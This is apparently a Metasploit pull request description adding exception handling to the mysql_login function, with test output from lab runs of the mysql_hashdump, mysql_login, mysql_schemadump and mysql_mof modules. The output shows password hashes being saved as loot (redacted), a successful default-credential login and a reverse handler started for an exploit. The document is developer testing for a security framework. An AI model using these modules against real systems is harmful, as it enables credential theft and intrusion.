Mysql login exceptions

This add more exception handling for the mysql_login function.  Related to the following ticket:
http://dev.metasploit.com/redmine/issues/7668

Tested on the following:

Demo for mysql_hashdump:

	msf  auxiliary(mysql_hashdump) > run

	[+] Saving HashString as Loot: root:*[----------------Removed---------------]
	[+] Saving HashString as Loot: root:*[----------------Removed---------------]
	[+] Saving HashString as Loot: root:*[----------------Removed---------------]
	[+] Saving HashString as Loot: debian-sys-maint:*[----------------Removed---------------]
	[*] Hash Table has been saved: /Users/sinn3r/.msf4/loot/20130107161618_default_10.0.1.22_mysql.hashes_135309.txt
	[*] Scanned 1 of 1 hosts (100% complete)
	[*] Auxiliary module execution completed


Demo for mysql_login:

	msf  auxiliary(mysql_login) > run

	[*] 10.0.1.22:3306 MYSQL - Found remote MySQL version 5.1.66
	[*] 10.0.1.22:3306 MYSQL - [1/1] - Trying username:'root' with password:'root'
	[+] 10.0.1.22:3306 - SUCCESSFUL LOGIN 'root' : 'root'
	[*] Scanned 1 of 1 hosts (100% complete)
	[*] Auxiliary module execution completed

Demo for mysql_schemadump:

	msf  auxiliary(mysql_schemadump) > run

	[*] Schema stored in: /Users/sinn3r/.msf4/loot/20130107161907_default_10.0.1.22_mysql_schema_185685.txt
	[+] MySQL Server Schema 
	 Host: 10.0.1.22 
	 Port: 3306 
	 ====================

	--- []

Demo for mysql_mof:

	msf  exploit(mysql_mof) > exploit

	[*] Started reverse handler on 10.0.1.3:4444 
	[*] 10.0.1.10:3306 - Attempting to login as 'sa:blah'
	[-] Access denied
	[*] Exploit completed, but no session was created.